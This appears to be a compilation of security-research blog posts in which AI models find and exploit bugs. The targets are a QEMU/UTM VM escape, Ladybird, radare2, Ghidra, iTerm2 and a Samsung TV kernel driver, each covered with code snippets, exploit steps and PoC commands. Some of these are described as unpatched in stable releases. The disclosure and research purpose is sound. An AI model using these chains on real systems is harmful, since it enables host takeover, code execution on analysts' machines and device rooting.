Before we dive in, one piece of news. Dion Blazakis and Stefan Esser are joining Calif. Dion just escaped left the fruit company, so we thought it'd be fitting to drop a macOS VM escape exploit.

Our targets are QEMU and UTM. QEMU is the open-source machine emulator and virtualizer that powers most Linux virtualization stacks: libvirt, OpenStack, KubeVirt, and the KVM side of many cloud platforms. UTM is the App-Store-friendly macOS and iOS frontend that wraps QEMU. It ships to roughly 30K GitHub stars worth of Mac users who want to run Windows or Linux on Apple Silicon without dealing with VMware (which is technically free now but rumor has it requires a blood donation to the suckers at Broadcom before the download link appears).

We noticed UTM bundles its own QEMU (10.0.2), and that there is a version drift between what UTM ships and upstream. Our first prompts to Claude were:

With a handful of further prompts, it found a guest-to-host code execution chain in QEMU's virtio-gpu device, and wrote ~1,500 lines of C that compile to a single static binary. Drop it into an unprivileged process inside a vulnerable VM and Calculator opens on the host.

Note on impact: There’s been some discussion about the impact of this exploit, so we want to clarify what we’re claiming. The VM security model assumes you have root in the guest and that the guest runs untrusted code. This exploit breaks that model in QEMU: we escape from the guest to the host and run arbitrary code there.

The chain does require QEMU’s VNC server to be enabled. VNC is the default in most headless deployments (Proxmox, libvirt, OpenStack), though UTM ships with it off. On UTM, the VM also has to have been configured in emulation mode, since UTM defaults to virtualization via Apple’s Virtualization framework, which bypasses QEMU entirely. The threat model isn’t “trick a user into downloading a preconfigured malicious UTM image.” It’s “an attacker who already has root on an isolated VM that’s running on UTM in emulation mode with VNC enabled.”

On macOS, apps also run inside Apple’s App Sandbox, so a full escape would need a second bug. We don’t think that layer is particularly strong, but we now need another bug to prove ourselves right.

Modern memory-corruption exploitation needs two primitives: a write to corrupt state and a read to defeat ASLR and learn where to aim it. This bug hands over the write for free; the read is the novel part, and as far as we can tell a public first: a memory disclosure through QEMU’s own VNC server, reached over SLIRP loopback from the guest itself.

Concretely, the guest opens a TCP socket to its own host’s VNC port through QEMU’s emulated NIC at 10.0.2.2:5900, sends a FramebufferUpdateRequest, and QEMU happily serializes a region of its own heap as pixel bytes back to the guest, which is now watching QEMU’s address space as if it were a screensaver. Claude assembled that read primitive autonomously from a single prompt:

None of the published QEMU escapes we reviewed (OtterSec's virtio-snd, Talbi/Fariello's RTL8139, the older SLIRP ICMP leak) use the VNC server as an info-leak vehicle.

It turns out that the vulnerability was reported via ZDI (ZDI-CAN-27578) and fixed in QEMU 11.0.0 (April 21, 2026), but not backported to any 10.x stable. We didn't know that going in, and the rediscovery is a story in itself.

Even though this escape is now patched, it probably lasted longer than Cloudburst.

The bug

hw/display/virtio-gpu.c has a function, calc_image_hostmem, that computes how many bytes to allocate for a 2D pixel buffer:

static uint32_t calc_image_hostmem(pixman_format_code_t pformat,
                                   uint32_t width, uint32_t height) {
    int bpp    = PIXMAN_FORMAT_BPP(pformat);
    int stride = ((width * bpp + 0x1f) >> 5) * sizeof(uint32_t);
    return height * stride;
}

A quick aside on pixman, which will keep showing up: it is the low-level 2D pixel-manipulation library that backs Cairo and the X server, and that QEMU uses to represent every display surface in the system. A pixman_image_t is essentially a (format, width, height, stride, raw pointer) tuple plus the compositing/scaling routines that operate on it. When QEMU's virtio-gpu allocates a 2D resource for the guest, it is allocating a buffer and wrapping it in a pixman_image_t.

Every intermediate in calc_image_hostmem is a 32-bit int. For bpp = 32 and a guest-supplied width = 0x40000001, the width * bpp multiplication wraps, the round-up-to-32-bits trick rounds the wrong number, and stride collapses to 4. With height = 128, calc_image_hostmem returns 512. QEMU then allocates 512 bytes, hands them to pixman as pixman_image_create_bits(BGRA, 0x40000001, 128, ptr, stride=4), and stores the original, un-overflowed 0x40000001 in res->width.

Every later bounds check on this resource (in set_scanout, in transfer_to_host_2d) checks against res->width. Which is a lie. The guest can address pixel coordinates up to ~4 GB past the actual 512-byte buffer.

That is the entire bug, but the why of it is interesting. Pixman's pixman_image_create_bits(format, width, height, bits, rowstride) has two modes. Pass bits = NULL and pixman allocates the buffer itself, performs its own overflow check, and ignores your rowstride. Pass bits = <pre-allocated pointer> and pixman trusts you completely: it uses your pointer, uses your stride, and runs no checks, because by API contract the caller has already validated.

Before a 2023 commit, virtio-gpu used the first mode. calc_image_hostmem existed, but only to compute res->hostmem, the per-VM accounting number used to enforce memory budgets. Pixman did the actual allocation, and pixman caught overflow. The buggy int stride was lying about a counter, not a buffer size.

The 2023 commit switched to the second mode. Windows display surfaces need a shareable HANDLE, which means the buffer has to be allocated by QEMU with qemu_win32_map_alloc(), not by pixman. So virtio-gpu started allocating calc_image_hostmem(...) bytes itself and passing the pointer and stride into pixman. The commit message even flags the behavior change:

when bits are provided to pixman_image_create_bits(), you must also give the rowstride (the argument is ignored when bits is NULL).

Pixman dropped its overflow check because the API contract said it could, the same buggy function went from accounting counter to trusted allocation size, and nobody re-audited it. The caller did not validate.

The chain

The bug gives an OOB write directly: transfer_to_host_2d will happily copy guest-controlled bytes to pixbuf + x * bpp for any x < 0x40000001. What it does not give you, on its own, is an OOB read, which means no ASLR bypass, which means the write is mostly useful for the host process.

The way Claude solved the read-primitive problem is, we think, the prettiest part of this exploit, and we want to walk through it because it took us a minute to believe.

set_scanout is the virtio-gpu command that says "this pixman_image_t is the active display surface; show this on the screen." The bounds check on its arguments uses the same broken res->width, so the guest can configure the active display surface to point at memory 1 GB past the 512-byte buffer.

QEMU has a built-in VNC server. Its job, by definition, is to encode the active display surface as pixel data and ship those bytes to any TCP client that connects to port 5900.

QEMU's default user-mode networking stack, SLIRP, makes the host reachable from the guest at 10.0.2.2. So the guest opens a TCP socket to 10.0.2.2:5900 (its own host's VNC port, reached through QEMU's own emulated NIC), sends a FramebufferUpdateRequest, and QEMU's VNC server politely serialises a region of its own heap as pixel bytes back over the socket.

A FramebufferUpdateRequest returns width × height × 4 bytes, so reads are 16 KB pages at scan time and 256 bytes for targeted lookups. Encoding host memory as pixels has the lovely side effect that there is no protocol-level interpretation, no parser, no escaping; every byte of the address range comes back unmangled, just slightly fewer per second than you'd like.

From the read primitive it's a fairly textbook macOS arm64 chain. Scan forward 16 KB at a time looking for Mach-O headers; identify pixman by sizeofcmds; read GOT[free] to derive the shared cache slide; compute system(). Plant a fake pixman_implementation_t whose fast_paths array has a wildcard entry whose func is system(). The implementation pointer is the first argument to func on arm64, so we put the command string at offset 0 of the same struct and let it serve double duty. Two more OOB writes neutralise pixman's TLS fast-path cache and overwrite _global_implementation. A final RESOURCE_FLUSH triggers a VNC composite, pixman walks our fake chain, the wildcard matches, system() runs.

The command string has to fit in 15 bytes (the fast_paths pointer lives at offset 0x10), so open -a Calculator is too long. open /*/*/Calc* is exactly 15, and /bin/sh expands the glob to /System/Applications/Calculator.app. (Our first attempt, /S*/A*/Ca*, also matched Calendar.app, which made for a less convincing demo.)

UTM adds one more twist. Its QEMU allocates virtio-gpu pixel buffers through qemu_pixman_image_new_shareable, which is memfd + mmap rather than malloc, so the exploit buffer lands in an address-space hole between UTM's twenty-odd bundled frameworks instead of out in the large-object heap. dyld shuffles those frameworks on every launch, and on a meaningful fraction of boots pixman (2.4 MB, one of the smallest) ends up at a lower address than the first hole big enough for our buffer. The OOB write only reaches forward, so pixman's _global_implementation is then physically behind us and the hijack above cannot land.

The fallback is to target QEMU itself. Its image is a 29 MB block, large enough that the buffer essentially never lands above it, so the scan carries a second fingerprint table for QEMU's __TEXT and derives system() from QEMU's GOT instead. The control-flow hijack moves to QEMU's __la_symbol_ptr[g_free] (writable, ~70 MB forward, comfortably in range): one OOB write points it at system(), and the trigger is a deliberately short RESOURCE_ATTACH_BACKING whose entry bytes spell the shell command. virtio_gpu_create_mapping_iov g_mallocs a scratch buffer, copies our bytes in verbatim, fails the length check, and on the error path calls g_free(ents), which is now system("open -a Calculator"). A nice side effect is that this path has no 15-byte limit; the command can be as long as a virtqueue descriptor.

The chain needs the guest to reach a VNC server. That is the default almost everywhere headless QEMU runs: Proxmox, libvirt's stock <graphics type='vnc'/>, OpenStack, every CI runner that boots VMs with -vnc :0. On UTM it is non-default, and requires a one line config -vnc :0. The bug itself is present in every UTM install regardless.

Reproduce

The PoCs and AI-generated write-up can be found here:

./run_poc_macos.sh        # ~5 min: install deps, build QEMU 10.0.2, build exploit
./run_poc_macos.sh run    # ~30 sec from boot to calc

Conclusion

One thing we do not know is how Claude arrived at the bug. Our first prompt asked it to diff UTM's QEMU against upstream, and the fix commit was already public; it is possible the model spotted c035d5ea and worked backward, and equally possible it audited virtio-gpu.c cold and rediscovered the overflow on its own. We cannot tell from the transcript, and either answer is kinda cool: one means a frontier model can mine patch diffs into working escapes faster than downstreams can ship the patch, the other means it can find the same bug ZDI paid for without being pointed at it.

While the bug is a simple integer overflow, the exploit is, as far as we know, the first documented case of AI doing creative exploit primitive design: wiring three unrelated QEMU subsystems (virtio-gpu, the VNC server, SLIRP loopback) into a leak nobody had published before.

From there it ported the chain to Linux aarch64, rebuilt it as a SPICE-safe UTM variant after we reported the original crashed under UTM's display-refresh thread, pivoted from "overwrite GOT[free]" to writable BSS when macOS chained-fixups turned out to make the GOT read-only, and added the QEMU-g_free fallback when ASLR put pixman behind the buffer. None of those pivots involved a human pointing at the answer; the full prompt log is a dozen one-liners.

However, Claude hasn't (re)discovered fancy tricks such as KMART or MHST[^1] for this exploit, so the super humans among us still have some edge over it. At least for now.

[^1]: Kortchinsky-Midturi ARM ROP Technique and Midturi Heap Spray Technique. These are legendary exploitation techniques invented by the MSRC and SWI Pentest team fifteen or so years ago. CC @crypt0ad

Ladybird, it turns out, is a new browser, written entirely from scratch with a stated rule of no code from other browsers. Its JavaScript engine, LibJS, is its own design too. The project adopted Rust in February and picked LibJS as the first thing to port, but the migration is incremental and most of the engine, the DOM, and the WebAssembly bindings are still C++ today.

That combination made it an interesting question for this series. Everything we've pointed AI at so far has had a public exploitation history it could lean on: JavaScriptCore, the FreeBSD kernel, decades of Phrack. Ladybird has none. As far as we know nobody has published an exploit against it, and it shares no code with the engines that have a decade of writeups. So: can AI pop a browser engine it has never seen anyone hack?

Bruce pointed Claude at the source tree and had it popping calc within a few hours. The bug is a use-after-free in the still-C++ WebAssembly binding: a typed array's cached data pointer goes stale after a shared WebAssembly.Memory is grown twice.

Update, April 24: We were not the first after all. tsune found this same bug a few days before we did, reported it, got a fix landed in d8aee7f1e6, and published a full exploit writeup while we were still poking at the source tree. That patch turned out to be incomplete (it refreshes the stale pointer on the first grow() but loses track of the old buffer's views on the second), which is the variant Claude landed on. tsune's response to this post was more gracious than we deserve:

What it says about AI

The first reason this worked, on an engine Claude had never seen anyone hack, is that AI needs prior art on the problem class, not on the target. Browser-engine exploitation is engine-shaped rather than codebase-shaped: a model that has internalized the JSC and V8 literature already knows how to attack any spec-compliant engine.

Every performant JavaScript runtime, implementing the same standard under the same performance pressure, ends up with the same shapes: NaN-boxed values, a cached raw data pointer in every typed array, an assembly fast path that trusts a handful of fields at fixed offsets. Ladybird arrived at all of those independently, and the standard addrof/fakeobj ladder transferred to it on first contact.

What it says about security

The other half of why this took hours rather than months is mitigations. After addrof/fakeobj, Claude's chain reaches system() by corrupting a typed array into arbitrary read/write and overwriting one function pointer. Point that same chain at Safari and three independent layers each stop it cold: Gigacage fences the typed-array read/write away from anything useful, arm64e PAC kills the process at the first unsigned indirect branch, and the WebContent sandbox blocks exec even past all of that. Chrome's V8 sandbox, trusted pointers, and renderer sandbox do the equivalent. Ladybird today is where those engines stood years ago.

We spend a lot of this series showing that AI can find and exploit a lot of cool bugs, and that's true. But the gap between "RCE in a few hours" on Ladybird and "months of work by a specialist team for a still-sandboxed renderer compromise" on Chrome is eighteen years of security engineering, layer on deliberate layer, each one added because the previous generation of exactly this exploit made it necessary. Watching the textbook chain walk straight through is a reminder that those layers work. Using AI to quickly defeat them is, we think, the current frontier of vulnerability research.

Learn on this one

As usual for this series, Claude found the bug and wrote the exploit on its own; the technical advisory is in the README.

We then had it turn the whole thing into a long-form teaching writeup, and the way that document came together is worth a note of its own. Its first draft was correct but skipped exactly the things a newcomer wouldn't know, because Claude doesn't know what you don't know.

The current version is the result of us reading it, getting stuck, and asking "wait, what's the relationship between X and bufA?" or "why 16384?" or "what even is a Proxy trap?" until every gap was filled. That back-and-forth turned out to be the learning mechanism: the model is a better teacher than the literature precisely because the literature can't be interrogated, and being forced to articulate what you don't understand is most of the work of understanding it.

If you've never done browser exploitation, that writeup is worth your time. Production-engine writeups are mostly mitigation bypasses, which only make sense once you already know what the unobstructed attack looks like. This is the unobstructed attack: every primitive does exactly what its name says, in an engine simple enough to hold in your head. Read it first, and the Coruna JavaScriptCore chain becomes the natural second chapter.

We'd like to acknowledge the Ladybird maintainers, who were lovely about this and asked us to just file it in the open. Their security policy says pre-release bugs can be disclosed publicly, and they mean it, so everything linked above is a live 0-day with their blessing.

Some of you were, understandably, skeptical and unimpressed. Maybe AI got lucky.

So here are four more. All arbitrary code execution, all discovered with Claude or Codex. And if this still doesn't move you, well, it's OK. Denial is coping, we've been there.

IDA Pro & Binary Ninja Sidekick

These two are under disclosure with Hex-Rays and Vector 35 respectively. We'll publish full details, PoCs, and our prompt logs when the embargoes lift.

What we can say:

• Both are arbitrary code execution.

• Both trigger on the normal "open the thing someone sent you" workflow.

radare2

When we reported the first radare2 PDB injection, the fix landed the same day: base64-encode the symbol name before interpolating it into the fN command.

Except print_gvars() interpolates two attacker-controlled fields into RAD-mode output, and the fix only touched one of them. Four lines above the patched fN line, the raw 8-byte PE section header name still goes into the f command via %.*s with no sanitization at all:

pdb->cb_printf ("f pdb.%s = 0x%" PFMT64x " # %d %.*s\n",
    filtered_name, ..., PDB_SIZEOF_SECTION_NAME,
    sctn_header->name);          // <-- still raw from the binary

Stick a \n in the section name and the # comment ends; whatever follows is a fresh r2 command. The catch is you only get 7 bytes per line — but a HITCON CTF 2017 "BabyFirst Revenge"-style stager turns 7-byte writes into arbitrary-length sh execution. Two days after the first report, #25752 went in and was fixed immediately.

The radare2 team turns around fixes faster than anyone else in this post. However, incomplete fixes are a bug class of their own, and AI is unreasonably good at finding them. It read the patch for #25731, asked "what else gets interpolated here?", and had a working PoC before we'd finished debating the merit of AI vulnerability research on X.

Write-up and PoC: https://github.com/califio/publications/tree/main/MADBugs/radare2-pdb-section-rce

Ghidra

This is NSA's tool, open-sourced in 2019, and now the default free reverse-engineering suite for most of the malware analysts, CTF players, and embedded reverse engineers who aren't paying for IDA.

This is also the one we want to spend time on, because the bug is simple but the exploit is genuinely fun.

Ghidra Server installs an ObjectInputFilter allow-list at startup so a malicious client can't send it deserialisation gadgets. The Ghidra client installs no such filter, so a malicious server can send the client whatever it wants. And opening a .gpr project file silently connects to whatever ghidra:// URL is sitting in its projectState XML.

So: hand someone a Ghidra project, they double-click it, your server answers the very first RMI call (reg.list(), before any auth handshake) with a gadget chain instead of a String[], and Runtime.exec() fires on their box.

// ServerConnectTask.java — first thing the client does
Registry reg = LocateRegistry.getRegistry(server.getServerName(),
    server.getPortNumber(), new SslRMIClientSocketFactory());
checkServerBindNames(reg);          // → reg.list() → readObject() with NO filter

"Java RMI deserialization" usually means "go grab a chain from ysoserial." However, the only fat jar on the default Ghidra client classpath is jython-standalone-2.7.4.jar, and Jython 2.7.4 specifically patched the classic ysoserial Jython1 chain by adding a readResolve() tripwire to PyFunction.

So we asked AI to go looking for another Serializable + InvocationHandler in the same jar, and found one the Jython devs missed: org.python.core.PyMethod.

The chain wires PyMethod.__func__ to the package-private BuiltinFunctions table at index=18 — which is __builtin__.eval — and feeds it a PyBytecode object. PyBytecode is Jython's CPython 2.7 opcode interpreter, and serialises cleanly. The payload is 21 bytes of CPython bytecode that pulls java.lang.Runtime out of co_consts and calls exec.

PriorityQueue.readObject
  └─ siftDownUsingComparator
    └─ Proxy(Comparator).compare      ← PyMethod is the InvocationHandler
      └─ PyMethod.__call__
        └─ BuiltinFunctions[18]       ← __builtin__.eval
          └─ eval(PyBytecode, g, l)
            └─ CPython 2.7 interpreter
              └─ Runtime.getRuntime().exec({"/bin/sh","-c",CMD})

A Java deserialisation chain that bottoms out in a Python bytecode VM. We think that's a first.

The victim sees one error dialog after the calculator has already popped — PySingleton cannot be cast to Integer, which is just PriorityQueue being confused about what it got back. By then it doesn't matter.

Write-up and PoC (to be uploaded): https://github.com/califio/publications/tree/main/MADBugs/ghidra-rmi-rce.

This affects every Ghidra release ≥ 9.1. The fix is the obvious one: install the same serial filter on the client that already ships for the server. We've sent a patch.

And yes, we're aware we just dropped a 0-day on an NSA product (again!). Relax, disclosure cops. taviso is in the house.

Also, if the NSA is half as good at this as everyone says, they already knew. We're just bringing the rest of you up to speed.

The MAD Bugs series runs through April 2026. Full index at blog.calif.io/t/madbugs and github.com/califio/publications.

It turns out that it is NOT, if you use iTerm2.

That looks insane until you understand what iTerm2 is trying to do for a legitimate feature, how it uses the PTY, and what happens when terminal output is able to impersonate one side of that feature's protocol.

We'd like to acknowledge OpenAI for partnering with us on this project.

Background: iTerm2's SSH integration

iTerm2 has an SSH integration feature that gives it a richer understanding of remote sessions. To make that work, it does not just "blindly type commands" into a remote shell. Instead, it bootstraps a tiny helper script on the remote side called the conductor.

The rough model is:

1. iTerm2 launches SSH integration, usually through it2ssh.

2. iTerm2 sends a remote bootstrap script, the conductor, over the existing SSH session.

3. That remote script becomes the protocol peer for iTerm2.

4. iTerm2 and the remote conductor exchange terminal escape sequences to coordinate things like:

   • discovering the login shell

   • checking for Python

   • changing directories

   • uploading files

   • running commands

The important point is that there is no separate network service. The conductor is just a script running inside the remote shell session, and the protocol is carried over normal terminal I/O.

PTY refresher

A terminal used to be a real hardware device: a keyboard and screen connected to a machine, with programs reading input from that device and writing output back to it.

A terminal emulator like iTerm2 is the modern software version of that hardware terminal. It draws the screen, accepts keyboard input, and interprets terminal control sequences.

But the shell and other command-line programs still expect to talk to something that looks like a real terminal device. That is why the OS provides a PTY, or pseudoterminal. A PTY is the software stand-in for the old hardware terminal, and it sits between the terminal emulator and the foreground process.

In a normal SSH session:

• iTerm2 writes bytes to the PTY

• the foreground process is ssh

• ssh forwards those bytes to the remote machine

• the remote conductor reads them from its stdin

So when iTerm2 wants to "send a command to the remote conductor," what it actually does locally is write bytes to the PTY.

The conductor protocol

The SSH integration protocol uses terminal escape sequences as its transport.

Two pieces matter here:

• DCS 2000p is used to hook the SSH conductor

• OSC 135 is used for pre-framer conductor messages

At source level, DCS 2000p causes iTerm2 to instantiate a conductor parser. Then the parser accepts OSC 135 messages like:

• begin <id>

• command output lines

• end <id> <status> r

• unhook

So a legitimate remote conductor can talk back to iTerm2 entirely through terminal output.

The core bug

The bug is a trust failure. iTerm2 accepts the SSH conductor protocol from terminal output that is not actually coming from a trusted, real conductor session. In other words, untrusted terminal output can impersonate the remote conductor.

That means a malicious file, server response, banner, or MOTD can print:

• a forged DCS 2000p hook

• forged OSC 135 replies

and iTerm2 will start acting like it is in the middle of a real SSH integration exchange. That is the exploit primitive.

What the exploit is really doing

The exploit file contains a fake conductor transcript.

When the victim runs:

cat readme.txt

iTerm2 renders the file, but the file is not just text. It contains:

1. a fake DCS 2000p line that announces a conductor session

2. fake OSC 135 messages that answer iTerm2's requests

Once the hook is accepted, iTerm2 starts its normal conductor workflow. In upstream source, Conductor.start() immediately sends getshell(), and after that succeeds it sends pythonversion().

So the exploit does not need to inject those requests. iTerm2 issues them itself, and the malicious output only has to impersonate the replies.

Walking the state machine

The fake OSC 135 messages are minimal but precise.

They do this:

1. Start a command body for getshell

2. Return lines that look like shell-discovery output

3. End that command successfully

4. Start a command body for pythonversion

5. End that command with failure

6. Unhook

This is enough to push iTerm2 down its normal fallback path. At that point, iTerm2 believes it has completed enough of the SSH integration workflow to move on to the next step: building and sending a run(...) command.

Where sshargs comes in

The forged DCS 2000p hook contains several fields, including attacker-controlled sshargs.

That value matters because iTerm2 later uses it as command material when it constructs the conductor's run ... request.

The exploit chooses sshargs so that when iTerm2 base64-encodes:

the last 128-byte chunk becomes:

That string is not arbitrary. It is chosen because it is both:

• valid output from the conductor encoding path

• a valid relative pathname

The PTY confusion that makes exploitation possible

In a legitimate SSH integration session, iTerm2 writes base64-encoded conductor commands to the PTY, and ssh forwards them to the remote conductor. In the exploit case, iTerm2 still writes those commands to the PTY, but there is no real SSH conductor. The local shell receives them as plain input instead.

That is why the session looks like this when recorded:

• getshell appears as base64

• pythonversion appears as base64

• then a long base64-encoded run ... payload appears

• the last chunk is ace/c+aliFIo

Earlier chunks fail as nonsense commands. The final chunk works if that path exists locally and is executable.

Steps to reproduce

You can reproduce the original file-based PoC with genpoc.py:

python3 genpoc.py
unzip poc.zip
cat readme.txt

This creates:

• ace/c+aliFIo, an executable helper script

• readme.txt, a file containing the malicious DCS 2000p and OSC 135 sequences

The first fools iTerm2 into talking to a fake conductor. The second gives the shell something real to execute when the final chunk arrives.

For the exploit to work, run cat readme.txt from the directory containing ace/c+aliFIo, so the final attacker-shaped chunk resolves to a real executable path.

Disclosure timeline

• Mar 30: We reported the bug to iTerm2.

• Mar 31: The bug was fixed in commit a9e745993c2e2cbb30b884a16617cd5495899f86.

• At the time of writing, the fix has not yet reached stable releases.

When the patch commit landed, we tried to rebuild the exploit from scratch using the patch alone. The prompts used for that process are in prompts.md, and the resulting exploit is genpoc2.py, which works very similarly to genpoc.py.

The MAD Bugs series runs through April 2026. Full index at blog.calif.io/t/madbugs and github.com/califio/publications.

No TVs were seriously harmed during this research. One may have experienced mild distress from being repeatedly rebooted remotely by an AI.

We started with a shell inside the browser application on a Samsung TV, and a fairly simple question: if we gave Codex a reliable way to work against the live device and the matching firmware source, could it take that foothold all the way to root?

Codex had to enumerate the target, narrow the reachable attack surface, audit the matching vendor driver source, validate a physical-memory primitive on the live device, adapt its tooling to Samsung's execution restrictions, and iterate until the browser process became root on a real compromised device.

Note that the target TV is an older model running an outdated version of Chrome and an outdated kernel.

Table of Contents

• The Harness

• The Goal

• The Facts

• The Vulnerability

• The Constraint

• The Primitive

• The Root Cause

• The Chain

• The Exploit

• The Final Run

• The Bromance

• Conclusion

The Harness

We didn't provide a bug or an exploit recipe. We provided an environment Codex could actually operate in, and the easiest way to understand it is to look at the pieces separately.

KantS2 is Samsung's internal platform name for the Smart TV firmware used on this device model.

The setup looked like this:

• [1] Browser foothold: we already had code execution inside the browser application's own security context on the TV, which meant the task was not "get code execution somehow" but "turn browser-app code execution into root."

• [2] Controller host: we had a separate machine that could build ARM binaries, host files over HTTP, and reach the shell session that was actually alive on the TV.

• [3] Shell listener: the target shell was driven through tmux send-keys, which meant Codex had to inject commands into an already-running shell and then recover the results from logs instead of treating the TV like a fresh interactive terminal.

• [4] Matching source release: we had the KantS2 source tree for the corresponding firmware family, which let Codex audit Samsung's own kernel-driver code and then test those findings against the live device.

• [5] Execution constraints: the target required static ARMv7 binaries, and unsigned programs could not simply run from disk because of Samsung Tizen's Unauthorized Execution Prevention, or UEP.

• [6] memfd wrapper: to work around UEP, we already had a helper that loaded a program into an anonymous in-memory file descriptor and executed it from memory instead of from a normal file path.

With that setup, Codex's loop was simple: inspect the source and session logs, send commands into the TV through the controller and the tmux-driven shell, read the results back from logs, and, when a helper was needed, build it on the controller, have the TV fetch it, and run it through memfd. A few short prompts made that operating loop explicit:

The Goal

The opening prompt was intentionally broad:

We set the destination and left the route open. We did not point Codex at a driver, suggest physical memory, or mention kernel credentials, so it had to treat the session as a real privilege-escalation hunt rather than a confirmation exercise.

The second prompt narrowed the standard:

We raised the bar: the bug had to exist in the source, be present on the device, and be reachable from the browser shell. Codex's output quickly narrowed into concrete candidates.

The Facts

We then gave Codex the facts that would anchor the rest of the session:

uid=5001(owner) gid=100(users)
Linux Samsung 4.1.10 ...
/dev/... /proc/modules ... /p​roc/cmdline ...

That bundle did most of the framing work. The browser identity defined the privilege boundary and later became part of the signature Codex used to recognize the browser process's kernel credentials in memory. The kernel version narrowed the codebase, the device nodes defined the reachable interfaces, and /p​roc/cmdline later supplied the memory-layout hints for physical scanning.

The Vulnerability

Codex quickly zeroed in on a set of world-writable ntk* device nodes exposed to the browser shell:

crw-rw-rw-  1 root root 210,0  ntkhdma
crw-rw-rw-  1 root root 251,0  ntksys
crw-rw-rw-  1 root root 217,0  ntkxdma

Codex focused on that driver family because it was loaded on the device, reachable from the browser shell, and present in the released source tree. Reading the matching ntkdriver sources is also where the Novatek link became clear: the tree is stamped throughout with Novatek Microelectronics identifiers, so these ntk* interfaces were not just opaque device names on the TV, but part of the Novatek stack Samsung had shipped. That gave the session a concrete direction.

The Constraint

At one point we had to give Codex a constraint that could easily have derailed the session:

/proc/iomem is one of the normal places to reason about physical memory layout, so losing it mattered. Codex responded by pivoting to another source of truth - /p​roc/cmdline:

mem=400M@32M mem=256M@512M mem=192M@2048M

Those boot parameters were enough to reconstruct the main RAM windows for the later scan.

The Primitive

With the field narrowed to ntksys and ntkhdma, Codex audited the matching KantS2 source and found the primitive that made the rest of the session possible.

/dev/ntksys was a Samsung kernel-driver interface that accepted a physical address and a size from user space, stored those values in a table, and then mapped that physical memory back into the caller's address space through mmap. That is what we mean here by a physmap primitive: a path that gives user space access to raw physical memory. The operational consequence was straightforward. If the browser shell could use ntksys this way, Codex would not need a kernel code-execution trick. It would only need a reliable kernel data structure to overwrite.

From there, the path was no longer a kernel control-flow exploit, but a data-only escalation built on physical-memory access.

The Root Cause

1. ntksys is intentionally exposed to unprivileged callers

The shipping udev rule grants world-writable access to /dev/ntksys:

Source: sources/20_DTV_KantS2/tztv-media-kants/99-tztv-media-kants.rules

KERNEL=="ntksys", MODE="0666", SECLABEL{smack}="*"

This is already a serious design error because ntksys is not a benign metadata interface. It is a memory-management interface.

2. User space controls the physical base and size

The driver interface is built around ST_SYS_MEM_INFO:

Source: ker_sys.h

typedef struct _ST_SYS_MEM_INFO
{
    EN_SYS_MEM_TYPE enMemType;
    u32             u32Index;
    u32             u32Start;
    u32             u32Size;
} ST_SYS_MEM_INFO;

#define KER_SYS_IOC_SET_MEM_INFO _IOWR(VA_KER_SYS_IOC_ID, 1, ST_SYS_MEM_INFO)

u32Start and u32Size come directly from user space. Those are the only two values an attacker needs to turn this interface into a raw physmap.

3. SET_MEM_INFO validates the slot, not the physical range

The critical write path is in ker_sys.c around line 1158:

u32Idx = stMemInfo.u32Index;
if( u32Idx >= MAX_UIO_MAPS )
    lError = -EFAULT;
else {
    g_astMemInfo[u32Idx].enMemType = stMemInfo.enMemType;
    g_astMemInfo[u32Idx].u32Index  = u32Idx;
    g_astMemInfo[u32Idx].u32Start  = stMemInfo.u32Start;
    g_astMemInfo[u32Idx].u32Size   = stMemInfo.u32Size;
    lError = ENOERR;
}

The driver checks whether the table index is valid. It does not check whether the requested physical range belongs to a kernel-owned buffer, whether it overlaps RAM, whether it crosses privileged regions, or whether the caller should be allowed to map it at all.

4. mmap remaps the chosen PFN verbatim

The corresponding map path is in ker_sys.c around line 1539:

m = vma->vm_pgoff;
if( m >= MAX_UIO_MAPS ) return -EINVAL;
if( g_astMemInfo[m].enMemType == EN_SYS_MEM_TYPE_MAX ) return -EINVAL;
...
iRetVal = vk_remap_pfn_range( vma, vma->vm_start,
                              g_astMemInfo[m].u32Start >> PAGE_SHIFT,
                              vma->vm_end - vma->vm_start,
                              vma->vm_page_prot );

vma->vm_pgoff selects the slot, and the slot contents are attacker-controlled. The driver then passes the user-chosen PFN directly to vk_remap_pfn_range. At that point the kernel is no longer enforcing privilege separation for physical memory.

5. ntkhdma makes validation easier by leaking a physical address

/dev/ntkhdma provides a helpful supporting primitive:

Source: ker_hdma.c

case KER_HDMA_IO_GET_BUFF_ADDR: {
    if( vk_copy_to_user( ( void __user * )u32Arg, &gu32HDMAMemPhysAddr, sizeof( u32 ) ) ) {
        iError = -EFAULT;
        break;
    }
    break;
}

This is not the core privilege-escalation bug, but it is useful operationally. It hands unprivileged code a known-good physical address that can be mapped through ntksys to prove the primitive works before touching arbitrary RAM.

The Chain

Codex did not jump directly from source audit to final exploitation. It built a proof chain in stages.

First it wrote a small helper to talk to /dev/ntkhdma and ask for the physical address of the device's DMA (direct memory access) buffer. A DMA buffer is memory the driver uses for direct hardware access, and the key point here was not DMA itself but the fact that the driver was willing to hand an unprivileged process a real physical address. The first preserved success looked like this:

python3 rmem.py ntkhdma_leak
HDMA buffer phys addr: 0x84840000

That gave Codex a safe, known-good physical page to test against. It then wrote a second helper to answer the more dangerous question: if it registered that physical address through ntksys, could it really map the page into user space and read or write it from the browser shell? The answer was yes:

HDMA buffer phys addr: 0x84840000
HDMA buffer[0] = 0x00000010
read32: 00000010 fd02005c 00000000 fc0d0430
writing 0x41414141 to mapped address...
readback: 0x41414141

Before that output, the issue was still a source-backed theory; after it, Codex had shown that an unprivileged process on the TV could read and write a chosen physical page. The remaining question was which kernel object to corrupt.

The Exploit

The exploit did not come from us. We never told Codex to patch cred, never explained what cred was, and never pointed out that the browser process's uid=5001 and gid=100 would make a recognizable pattern in memory.

That choice followed directly from the primitive it had already proven.

For anyone who does not spend time in Linux internals, cred is the kernel structure that stores a process's identities: user ID, group ID, and related credential fields. If you can overwrite the right cred, you can change who the kernel thinks the process is. Once Codex had arbitrary physical-memory access, the remaining plan became straightforward: scan the RAM windows recovered from /p​roc/cmdline, look for the browser process's credential pattern, zero the identity fields, and then launch a shell.

The live shell had given Codex the identity values, the source audit had given it the primitive, the early helpers had proven that primitive, and the final exploit connected those pieces without needing any elaborate kernel control-flow trick.

The Final Run

By the time we reached the final run, the hard parts were already in place. We had the surface, the primitive, the deployment path, and the exploit. The last human prompt was:

Codex pushed the final chain through the controller path, had the TV fetch it, ran it through the in-memory wrapper, and waited for the result. The output was:

[*] scanning range 0x02000000 - 0x1b000000
[*] map chunk phys=0x07400000 size=0x00100000
[+] cred match at phys 0x07498080 -> patching
[+] cred match at phys 0x07498580 -> patching
...
[+] patched creds, launching /bin/sh
id
